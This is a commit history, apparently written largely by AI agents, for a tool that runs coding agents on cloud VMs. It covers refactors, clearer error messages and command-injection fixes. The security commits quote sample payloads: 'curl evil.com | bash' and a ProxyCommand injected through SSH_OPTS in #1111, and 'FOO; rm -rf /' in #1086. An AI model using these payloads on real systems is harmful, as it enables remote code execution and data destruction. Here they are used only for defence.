Commit graph

111 commits

Author SHA1 Message Date
A
8174ed1547
fix: HIGH severity security issues (command injection + weak VNC password) (#1150)
Fixes #1120

1. Command injection in shared/key-request.sh:86
   - BEFORE: export "${var_name}=${val}" allowed injection via $(...)
   - AFTER: Use printf -v to safely assign the value
   - Impact: Prevents arbitrary command execution via crafted API key values

2. Weak VNC password in cloudsigma/lib/common.sh:266
   - BEFORE: openssl rand -hex 8 (64 bits of entropy)
   - AFTER: openssl rand -hex 16 (128 bits of entropy)
   - Impact: Strengthens VNC password against brute force attacks

Agent: security-auditor

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 20:39:48 -05:00
A
0c75e54704
feat: add interactive picker with filtering for Hetzner flow (#1151)
Fixes #1145

Replaces numeric input with interactive fuzzy picker for server/location selection.
- Uses fzf when available for interactive filtering
- Falls back to numbered list when fzf is not installed
- Applies to all interactive_pick flows (Hetzner locations, server types, etc.)
- Improves UX with type-to-filter capability

Agent: ux-engineer

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 20:39:44 -05:00
A
9576cd5005
refactor: reduce function complexity in shared/common.sh and cli/commands.ts (#1138)
Extracted helper functions to improve code maintainability:

1. shared/common.sh:
   - Extracted _prompt_and_validate_api_key() from get_openrouter_api_key_manual()
   - Simplified API key validation loop and confirmation logic

2. cli/commands.ts:
   - Extracted selectAgent() from cmdInteractive() for agent selection
   - Extracted getAndValidateCloudChoices() for cloud validation and prioritization
   - Extracted selectCloud() for cloud selection UI
   - Extracted report404Failure() and reportHTTPFailure() from reportDownloadFailure()
   - Extracted classifyNetworkError(), showTimeoutCauses(), showConnectionCauses(), etc.
   - Simplified error handling with switch statement in reportDownloadError()

These changes reduce cyclomatic complexity and improve testability while preserving
all existing functionality.

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 18:11:36 -05:00
A
22cdd75f80
ux: improve error message clarity and formatting (#1133)
Enhance user-facing error messages with better structure and visual hierarchy:

**CLI Error Messages:**
- Add bold headers for "Next steps:" and "Possible causes:" sections
- Make action items more scannable and directive
- Simplify language (e.g., "temporarily" vs "temporarily unavailable")
- Reduce redundancy in network error messages

**Shell Error Messages:**
- Add color-coded section headers (yellow for "Common causes" and "Next steps")
- Apply syntax highlighting to commands with CYAN color
- Improve readability of multi-step installation instructions
- Use bullet points (•) instead of dashes for better visual scanning
- Add inline comments to commands (e.g., "# Check disk space")

**Impact:**
Users experiencing errors will:
- Find actionable steps faster with clear visual hierarchy
- Copy-paste commands more easily with syntax highlighting
- Understand root causes quicker with color-coded sections
- Have a better experience during failure scenarios

All changes maintain backward compatibility and work across bash 3.x (macOS) and modern bash.

Agent: ux-engineer

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 17:44:47 -05:00
A
7609cf2d6f
refactor: reduce complexity in OAuth and Hetzner validation functions (#1132)
Extract helper functions to simplify complex control flow:
- try_oauth_flow: Extract _start_oauth_session_with_server helper to handle server startup phase, improving readability and testability
- _hetzner_resolve_server_type: Extract _hetzner_log_validation_error and _hetzner_log_type_change helpers to separate error handling logic from main flow

These changes reduce nesting levels and improve function cohesion while maintaining identical behavior.

Agent: complexity-hunter

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 17:43:05 -05:00
A
d589b0d74e
fix: tilde expansion in upload_config_file + bump refactor frequency (#1131)
Fix #1114 — `mv` failed because `~/.claude/settings.json` was
single-quoted on the remote shell, preventing tilde expansion.
Remove the single quotes around remote_path and add a mkdir -p
safety net.

Also bump the refactor team cron from hourly to every 5 minutes.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-14 17:08:36 -05:00
A
11eff028a1
refactor: reduce complexity in shared/common.sh and test/mock.sh (#1128)
Extract pattern-matching logic in _strip_api_base() into separate helper functions (_strip_gcore_endpoint, _strip_scaleway_endpoint) to reduce function complexity from 36 lines to organized cases with extracted handlers.

Refactor ensure_api_token_with_provider() in shared/common.sh by extracting:
- _prompt_for_api_token() handles user prompting
- _validate_env_var_name() handles security validation
Reduces main function complexity and improves testability.

Agent: complexity-hunter

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 16:24:41 -05:00
A
f871996a82
ux: create parent directories before moving config files (#1127)
Fixes #1125 and #1114

The upload_config_file() function now creates parent directories
before moving config files to paths like ~/.claude/settings.json
and ~/.openclaw/openclaw.json.

Previously, if these directories didn't exist, the mv command would
fail with "No such file or directory" errors. This affected all
agents using setup_claude_code_config() and setup_openclaw_config().

Changes:
- Extract directory path using dirname
- Create parent directories with mkdir -p
- Execute chmod and mv in same command chain

Agent: ux-engineer

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 16:10:17 -05:00
A
c6d42e6f07
refactor: reduce complexity in discovery.sh, record.sh, and common.sh (#1123)
Break down overly complex functions into smaller, single-purpose helpers:

discovery.sh:
  - Extract _sync_and_setup() from run_team_cycle() for git sync + setup
  - Extract _launch_claude() to handle process startup
  - Extract _session_completed() to check session status
  - Extract _cleanup_cycle_files() for file cleanup
  - Reduces run_team_cycle() from 71 lines to 39 lines

record.sh:
  - Extract _validate_response_not_empty() for empty check
  - Extract _validate_response_json() for JSON validation
  - Extract _validate_response_no_error() for API error checking
  - Extract _record_fixture_metadata() for metadata recording
  - Reduces _save_live_fixture() from 34 lines to 15 lines

shared/common.sh:
  - Extract _check_agent_in_path() for PATH verification
  - Extract _check_agent_runs() for execution verification
  - Reduces verify_agent_installed() from 32 lines to 11 lines

Each helper is focused on one concern, improving maintainability and testability.

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 15:44:05 -05:00
A
8f4f091988
ux: improve auth error messages with provider URLs (#1122)
Agent: ux-engineer

Enhance error messages when authentication fails by including direct
URLs to the provider's API token page in the remediation steps.

Changes:
- Updated _validate_token_with_provider() to accept help_url parameter
- Updated _validate_multi_credentials() to include help_url in errors
- Modified ensure_api_token_with_provider() to pass help_url to validator

Users now see the provider dashboard URL immediately when auth fails,
reducing friction and eliminating the need to search for token pages.

Before:
  1. Re-run the command to enter a new token
  2. Or set it directly: HCLOUD_TOKEN=your-token spawn ...

After:
  1. Get a new token from: https://console.hetzner.cloud/projects
  2. Re-run the command and paste the new token
  3. Or set it directly: HCLOUD_TOKEN=your-token spawn ...

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 15:09:31 -05:00
A
43e3de9da4
security: prevent command injection in SSH functions (#1115)
Fixed command injection vulnerability in ssh_run_server() and
ssh_interactive_session() by adding double-dash (--) argument separator.

Without the -- separator, SSH_OPTS could be exploited if an attacker
can control SSH_OPTS environment variable to inject additional SSH
arguments like "-o ProxyCommand=..." which would execute arbitrary
commands.

The -- separator ensures all subsequent arguments are treated as the
remote command, not SSH options.

Severity: CRITICAL
Impact: Remote command execution if SSH_OPTS is attacker-controlled

Agent: security-auditor

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 13:22:01 -05:00
A
42808ae101
security: prevent command injection via SSH_OPTS environment variable (#1111)
HIGH severity fix for command injection vulnerability.

The SSH_OPTS environment variable was used unquoted in multiple ssh/scp
commands throughout the codebase. While intentionally unquoted to allow
multiple options, this created a command injection risk if an attacker
could control the SSH_OPTS environment variable.

Attack vector:
  export SSH_OPTS="-o ProxyCommand='bash -c whoami'"; ./cloud/agent.sh
  export SSH_OPTS="; curl evil.com | bash #"; ./cloud/agent.sh

Impact: Remote code execution on the user's machine when running any
spawn script with a malicious SSH_OPTS value.

Fix: Added _validate_ssh_opts() function that blocks shell metacharacters
(; | & \` $ ( ) < >) in SSH_OPTS. If validation fails, secure defaults
are used instead.

Tested validation against:
- Semicolon injection (;)
- Pipe injection (|)
- Backtick injection (\`)
- Command substitution ($())
- Background execution (&)
- Redirection (< >)

Files changed:
- shared/common.sh: Added validation function and enforcement

Agent: security-auditor

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 12:43:32 -05:00
A
f8b2178658
ux: improve error messages for better clarity and actionability (#1103)
Enhance error messages throughout the codebase to provide clearer
explanations and more actionable guidance for users.

Changes:

Shell Scripts (shared/common.sh):
- Improve non-interactive mode error with better examples
- Expand model ID validation to show valid characters and examples
- Add detailed server name requirements with examples
- Fix diagnostic function to handle cases without fixes section

TypeScript CLI (cli/src/security.ts):
- Enhance identifier validation with bullet points and examples
- Add context about entity type (agent vs cloud) in errors
- Improve path traversal error with specific character explanations
- Better prompt validation messages with plain language guidance
- Improve overly-long identifier/prompt errors with helpful context

TypeScript CLI (cli/src/commands.ts):
- Rewrite download failure messages to be more user-friendly
- Change "Common causes" to "What's wrong" for clarity
- Change "How to fix" to "What to do" for better action orientation
- Add more specific troubleshooting steps for network issues
- Improve wording to be less technical and more helpful

Impact:
- Users get clearer, more actionable error messages
- Error messages now include examples of correct usage
- Reduced cognitive load by using plain language instead of jargon
- Better guidance for fixing issues without needing to consult docs

Agent: ux-engineer

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 10:48:22 -05:00
A
0bb085214a
fix: Properly handle comma-separated auth vars in key-request.sh (#1083)
* fix: Properly handle comma-separated auth vars in key-request.sh

The tr command was incorrectly translating each character in '+,' to newline,
causing "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET" to not be split properly.

Also updated get_cloud_env_vars to split on both + and , separators.

Fixes the error: "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET: invalid variable name"

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* fix: Revert sed to tr for macOS bash 3.x compatibility

As requested in security review - BSD sed treats \n in replacement
as literal backslash-n, not newline. tr already handles both + and ,
delimiters correctly on all platforms.

Addresses security review feedback.

---------

Co-authored-by: Spawn QA Bot <qa-bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
2026-02-14 05:10:11 -05:00
A
9d14ef4a19
refactor: reduce complexity in shared/common.sh by extracting helper functions (#1091)
- Extract _log_ssh_wait_progress() from generic_ssh_wait() to reduce nesting
- Extract _log_ssh_wait_timeout_error() to consolidate error handling and troubleshooting output
- Extract _generate_openclaw_json() from setup_openclaw_config() to reduce inline JSON generation complexity
- All helpers are private (prefixed with _) and encapsulate related logic

These refactorings reduce function complexity:
- generic_ssh_wait: 68 lines → 47 lines (31% reduction)
- setup_openclaw_config: 41 lines → 28 lines (32% reduction)

Test results: bash test/run.sh passes (80/80), bun test unaffected by these changes

Agent: complexity-hunter

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 04:15:27 -05:00
A
f3ee7e271a
security: Fix command injection vulnerability in env var exports (#1086)
CRITICAL: Add validation to prevent command injection via malicious environment variable names in `export "${var_name}=..."` patterns.

Vulnerability Details:
- All instances of `export "${var_name}=${value}"` where var_name is derived from external sources (manifest.json auth fields, user input, API responses) were vulnerable to command injection
- If var_name contained shell metacharacters like `;`, `$()`, or backticks, arbitrary code could be executed
- Example exploit: var_name=`FOO; rm -rf /` would execute the rm command

Affected Files:
- shared/key-request.sh: _try_load_env_var() - var_name from manifest.json
- shared/common.sh: _load_token_from_config(), ensure_api_token_with_provider(), _multi_creds_load_config(), _multi_creds_prompt(), _poll_instance_once() - var_name from function parameters
- test/record.sh: _load_multi_config_from_file(), _try_load_cloud_config(), _prompt_cloud_creds_interactive() - var_name from test fixtures

Fix Applied:
- Added regex validation before all export statements: `^[A-Z_][A-Z0-9_]*$`
- This allowlist enforces standard POSIX environment variable naming (uppercase letters, digits, underscores only, must start with letter or underscore)
- Returns error if validation fails, preventing injection

Impact:
- While current usage passes hardcoded env var names (e.g., "HCLOUD_TOKEN"), the vulnerability existed in the implementation
- manifest.json is currently trusted, but defense-in-depth prevents supply chain attacks or accidental malformed entries
- Test infrastructure was also vulnerable to malicious fixture data

Agent: security-auditor

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 04:01:25 -05:00
A
c947328fdd
ux: Improve error messages and timeout feedback (#1084)
Enhanced user-facing error messages across critical failure points:

1. SSH timeout errors:
   - Added contextual progress messages (normal/slow/unusually slow)
   - Expanded troubleshooting steps with specific commands
   - Added support for SPAWN_DASHBOARD_URL and SPAWN_RETRY_CMD env vars
   - Changed from log_warn to log_error for consistency

2. OAuth timeout errors:
   - Clearer explanation of what failed
   - More actionable troubleshooting steps
   - Direct link to API key page
   - Changed from log_warn to log_error for consistency

3. Agent installation failures:
   - More specific common causes (network, disk, dependencies)
   - Concrete debugging commands (df -h, free -h)
   - Better explanation of transient failures

4. Instance provisioning timeouts:
   - Clearer explanation of cloud provider delays
   - Support for SPAWN_DASHBOARD_URL in error output
   - More specific next steps

All errors now follow a consistent pattern:
- Clear statement of what failed
- Common causes section
- Actionable troubleshooting steps with specific commands

Agent: ux-engineer

Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 03:47:36 -05:00
A
ab7754e11b
fix: Handle comma-separated auth vars in key-request.sh (#1081)
The auth parsing in _load_cloud_credentials() only handled '+' separators,
but some clouds (like alibabacloud) use comma-separated env var lists.

Changed `tr '+' '\n'` to `tr '+,' '\n'` to handle both formats.

Fixes error: "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET: invalid variable name"

Co-authored-by: Spawn QA Bot <qa-bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 02:46:49 -05:00
A
9336998168
fix(ux): add post-session summary to 10 exec-based cloud providers (#1056)
Users on exec-based clouds (Fly, Render, Koyeb, Northflank, Railway,
Modal, Daytona, E2B, CodeSandbox, GitHub Codespaces) got no warning
when their session ended that their service was still running and
incurring charges. This adds:

- _show_exec_post_session_summary() in shared/common.sh for non-SSH
  providers that use CLI exec commands instead of direct SSH
- SPAWN_DASHBOARD_URL for all 10 exec-based clouds so users get
  actionable dashboard links
- Post-session summary calls in each cloud's interactive_session()
- 33 new tests covering the exec post-session summary feature

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-14 00:38:10 -05:00
A
44b9a5bdff
fix(security): harden weak crypto fallbacks, key validation, and temp paths (#1039)
* fix(security): harden weak crypto fallbacks, key validation, and temp paths

- CSRF state generation: fail instead of using predictable date+$RANDOM
  fallback when openssl and /dev/urandom are unavailable (OAuth CSRF bypass)
- Kamatera password: fail instead of using predictable date-based password
  when no secure random source available
- key-server validKeyVal: enforce 8-512 char limits and ASCII-only check
  to block malformed/oversized values (Fixes #969)
- upload_config_file: use mktemp-derived randomness for remote temp paths
  instead of predictable $RANDOM (symlink attack on remote server)

Agent: security-auditor
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(test): update assertions for upload_config_file mktemp-derived paths

The upload_config_file function now uses mktemp-derived basenames
(spawn_config_tmp.XXX) instead of the original filename for remote temp
paths. Update test/run.sh assertions to:
- Match "spawn_config" in the -file upload path
- Verify mv commands move files to correct final destinations
  (settings.json, .claude.json)

Addresses reviewer feedback on PR #1039.

Agent: pr-maintainer
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 21:43:37 -05:00
A
676a3af917
improve(ux): show server name and billing reminder in post-session summary (#1038)
The post-session summary (shown after every SSH session ends) now:
- Displays the server name when available, so users can find it in their
  cloud dashboard (e.g., "Your server 'spawn-claude-abc' is still running")
- Adds explicit billing reminder ("Remember to delete it to avoid charges")
- Uses green (log_info) for reconnect instructions instead of yellow
  (log_warn), since reconnect info is helpful guidance, not a warning

No changes to individual cloud scripts needed -- all scripts already set
SERVER_NAME before calling interactive_session.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-13 20:46:46 -05:00
A
f121b60d80
fix(ux): show post-session summary with server status and reconnect info (#1037)
After an interactive SSH session ends, users are now shown:
- A warning that their server is still running (and may incur charges)
- A link to the cloud provider's dashboard to manage/delete it
- The SSH command to reconnect

This prevents users from unknowingly leaving servers running after
exiting their agent session. Covers all 25 SSH-based cloud providers.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 20:06:40 -05:00
A
f586e19790
fix(security): replace unquoted heredocs with printf to prevent shell expansion in API keys (#1031)
Unquoted `<< EOF` heredocs in nanoclaw .env file creation cause shell
expansion of the API key value. If an API key contains `$`, backticks,
or `\`, the value is silently corrupted or could trigger command
execution. Replace with `printf '%s'` which safely writes the value
without interpretation.

Also fix unquoted variable expansion in upload_config_file's mv command
and the github-codespaces/openclaw.sh config heredoc.

Fixes 34 scripts across all cloud providers.

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 19:41:10 -05:00
A
8a5d03995b
fix: validate provider name in invalidate_cloud_key and improve key validation (#1017)
- Add regex validation (^[a-z0-9][a-z0-9._-]{0,63}$) to invalidate_cloud_key()
  in shared/key-request.sh to prevent path traversal attacks that could delete
  arbitrary files via crafted provider names (e.g., ../../etc/important)

- Improve validKeyVal() in key-server.ts to block control characters
  (U+0000-U+001F, U+007F-U+009F) and enforce a 4096-byte max length on
  API key values, preventing injection of null bytes, newlines, and
  excessively long values

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 14:43:44 -08:00
A
b0ebaa94bb
refactor: decompose load_cloud_keys_from_config into focused helpers (#1007)
Extract three helpers from the 82-line, 14-conditional function:
- _parse_cloud_auths: extract cloud auth specs from manifest.json
- _try_load_env_var: load a single env var from env or config file
- _load_cloud_credentials: load all env vars for one cloud provider

The main function is now a 36-line orchestrator with clear flow:
validate prerequisites -> parse manifest -> iterate clouds -> summarize.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-13 13:29:53 -08:00
A
67424c4bdc
refactor: decompose ensure_jq and ensure_gh_cli into focused helpers (#994)
Extract platform-specific install logic from monolithic installer functions
into small, focused helpers. Both functions had nested OS/package-manager
cascades (depth 3-4) that made the control flow hard to follow.

ensure_jq (shared/common.sh):
- Extract _install_jq_brew, _install_jq_apt, _install_jq_dnf, _install_jq_apk
- Extract _report_jq_not_found for the fallthrough error message
- Main function becomes a clean dispatcher + verification

ensure_gh_cli + _install_gh_binary (shared/github-auth.sh):
- Extract _install_gh_brew, _install_gh_apt, _install_gh_dnf
- Extract _detect_gh_platform, _fetch_gh_latest_version, _download_and_install_gh
- _install_gh_binary drops from 71 to 12 lines as a clean orchestrator
- ensure_gh_cli drops from 57 to 29 lines

No behavior changes. All tests pass, bash -n passes.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 12:14:56 -08:00
A
fff84779dc
refactor: decompose cmdAgentInfo and generic_wait_for_instance into focused helpers (#976)
Extract printAgentQuickStart from cmdAgentInfo (63 -> 43 lines), paralleling
the existing printCloudQuickStart pattern. Extract _poll_instance_once and
_report_instance_timeout from generic_wait_for_instance (52 -> 20 lines),
eliminating duplicated elapsed/sleep/increment code in the polling loop.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-13 11:48:07 -08:00
A
b2628e91c1
fix: add actionable guidance to SSH, API, and dependency error messages (#968)
Improve error messages in shared utilities and cloud providers that
previously showed bare "Failed to..." messages without telling users
how to fix the problem.

Shared (shared/common.sh):
- generate_ssh_key_if_missing: handle ssh-keygen/mkdir failures with
  disk space and permission guidance
- get_ssh_fingerprint: detect missing/corrupt public key files with
  regeneration instructions
- generic_ssh_wait: structured "How to fix" with manual SSH test command
  and firewall check
- _report_api_failure: add DNS/firewall/proxy guidance for network errors
- ensure_jq: platform-specific install commands for unknown package
  managers, hash rehash hint after install
- get_openrouter_api_key_manual: structured guidance after 3 failed
  attempts

Cloud providers:
- Contabo: actionable guidance for OAuth token failures
- Exoscale: guidance for credential validation and CLI download failures
- Netcup: network connectivity hint for API connection failure
- Scaleway: structured guidance for project ID lookup failure

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-13 11:00:35 -08:00
A
0f60a2b082
fix: add actionable guidance to agent installation failures across 126 scripts (#966)
Add log_install_failed helper to shared/common.sh that provides
structured troubleshooting for agent install failures: possible causes,
SSH debug command (when server IP available), manual install command,
and re-run suggestion. Also improve SSH key registration error message.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 10:14:03 -08:00
A
68122a6f70
fix: remove duplicate ensure_jq and fix help text alias placement (#954)
- Remove duplicate ensure_jq() function in shared/common.sh (lines 2341-2372)
  that was accidentally left after extracting it to the shared lib in #946
- Move "Aliases: ls, history" onto the "spawn list" help line so it no longer
  appears to describe "spawn list --clear"

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 08:38:17 -08:00
A
65127e2e24
refactor: extract ensure_jq to shared lib and decompose CloudSigma helpers (#946)
- Extract duplicated _ensure_jq from hetzner and hostkey into shared
  ensure_jq in shared/common.sh (removes ~60 lines of duplication)
- Replace CloudSigma hand-rolled ensure_cloudsigma_credentials with
  ensure_multi_credentials (removes ~20 lines of inline Python)
- Replace _wait_for_cloudsigma_server (63 lines) with
  generic_wait_for_instance + _resolve_cloudsigma_ip helper
- Extract _find_ubuntu_image_uuid and _clone_drive from
  create_cloudsigma_drive (60 -> 23 lines)
- Extract _get_ssh_key_uuid from create_server inline Python
- Replace hand-rolled SSH functions with shared SSH helpers
  (SSH_USER=cloudsigma)

Net reduction: ~158 lines across 4 files.

Agent: complexity-hunter
-- refactor/complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 07:34:36 -08:00
A
51d217add1
refactor: deduplicate _ensure_jq and decompose DO create_server (#943)
- Extract `ensure_jq()` from hetzner and hostkey into shared/common.sh,
  eliminating 64 lines of identical duplicated code
- Decompose DigitalOcean `create_server()` by extracting error handling
  into `_do_check_create_error()` helper, and using the shared
  `extract_api_error_message` instead of inline Python parsing
- Use shared `_extract_json_field` for droplet ID extraction

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 07:25:08 -08:00
A
f806085bb6
fix: improve UX of error messages and status output (#938)
- Remove redundant "Warning:" prefix from API key format message (log_warn
  already conveys warning status)
- Fix incorrect `export VAR=token spawn ...` syntax in auth failure hint
  (export makes it persistent, inline env var syntax is correct)
- Replace attempt/retry jargon with elapsed time in SSH wait and instance
  polling messages (users care about time, not internal retry counts)
- Show instance IP in friendlier "ready (IP: x.x.x.x)" format
- Move HTTP status codes from error title to body in download failures
  (cleaner error headline, details still available)
- Simplify dry-run credential warning (remove confusing double-negative
  "without --dry-run")
- Remove redundant "Warning:" prefix from extra arguments message

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
2026-02-13 06:45:04 -08:00
A
fa5b4979e8
fix: upgrade SSH to StrictHostKeyChecking=accept-new (TOFU) and randomize temp paths (#849)
- Change SSH default from StrictHostKeyChecking=no to accept-new, which
  accepts host keys on first connection but rejects if they change later
  (Trust On First Use). This protects against MITM attacks on subsequent
  connections. Requires OpenSSH 7.6+ (released Oct 2017).
- Replace predictable $$-based temp file path in upload_config_file with
  $RANDOM to prevent symlink attacks on the remote server.

Addresses findings from issue #763.

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-13 02:11:47 -08:00
A
4d3c54a11e
refactor: extract helpers from execScript and _cloud_api_retry_loop (#821)
Reduce cyclomatic complexity in the two highest-scoring functions:

- cli/src/commands.ts: Extract `handleUserInterrupt` and `runWithRetries`
  from `execScript` (complexity score 6 -> 2 for execScript, retry logic
  now independently testable)

- shared/common.sh: Extract `_classify_api_result` and `_report_api_failure`
  from `_cloud_api_retry_loop` (complexity score 9 -> 4, removes duplicated
  error-classification logic from loop body)

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 23:57:20 -08:00
L
88954f0e12
feat: add standalone GitHub auth helper (shared/github-auth.sh) (#824)
Standalone, sourceable script that installs the gh CLI and runs
interactive gh auth login. Any agent script on any cloud can source
it and call ensure_github_auth to get authenticated with GitHub.

- ensure_gh_cli: installs via brew/apt/dnf/binary fallback
- ensure_gh_auth: uses GITHUB_TOKEN or interactive OAuth flow
- ensure_github_auth: combined convenience wrapper
- Idempotent, macOS bash 3.x compatible, curl|bash compatible

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 23:37:02 -08:00
L
608104a76d
fix: set IS_SANDBOX=1 in all spawn environments (#829)
All spawn environments are disposable cloud VMs. Setting IS_SANDBOX=1
helps agents like Claude Code recognize the environment as a sandbox,
avoiding unnecessary safety prompts for root-level operations.

Added in two places for full coverage:
- generate_env_config(): included automatically in every env injection
- get_cloud_init_userdata(): set in .bashrc/.zshrc during cloud-init

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 23:36:36 -08:00
A
fde0ed16b6
refactor: extract shared extract_api_error_message helper to reduce inline Python duplication (#767)
Replace 10 inline `python3 -c "import json,sys; d=json.loads(...)..."` one-liners
across vultr, hetzner, digitalocean, and contabo with calls to a new shared
`extract_api_error_message` helper in shared/common.sh. The helper tries common
JSON error field patterns (message, error, error.message, error.error_message,
reason) and falls back to a caller-specified default.

This pattern appears 35+ times across cloud libs; this PR converts the first 4
clouds as a proof of concept. Remaining clouds can adopt incrementally.

Net reduction: 10 lines per converted cloud (~3 lines saved per call site).

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 16:47:20 -08:00
A
cdf6f1dba5
fix: use log_step (cyan) for in-progress messages instead of log_info (green) (#768)
In-progress actions (installing, starting, connecting...) should use
log_step (cyan) to visually distinguish them from completion messages
which use log_info (green). This makes it easier for users to see at a
glance what is happening vs what has finished.

Changes:
- cli/install.sh: add log_step function, use it for install progress
- shared/common.sh: OAuth flow and non-interactive exec messages
- Cloud libs: interactive_session, auth, and cleanup messages
- Agent scripts: gateway startup and session opening messages

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 16:45:58 -08:00
A
cf53ea1fb2
fix: use log_step (cyan) for in-progress messages instead of log_info (green) (#757)
Consistently use log_step for progress/status messages ("Waiting for...",
"Fetching...", "Creating...") and reserve log_info for success/completion
messages. This gives users a clear visual distinction between operations
that are still running (cyan) vs operations that have completed (green).

Also adds periodic progress updates to silent polling loops in ramnode,
cherry, and netcup IP wait functions so users see activity during long waits.

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-12 15:48:38 -08:00
A
cec1806128
refactor: improve readability of config setup and shellcheck discovery (#744)
- Replace hardcoded 4-cloud script list in run_shellcheck with dynamic
  discovery that covers all 21 clouds automatically
- Convert 3 inline JSON templates (setup_claude_code_config,
  setup_openclaw_config, setup_continue_config) from single-line printf
  to readable heredocs while preserving json_escape security

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
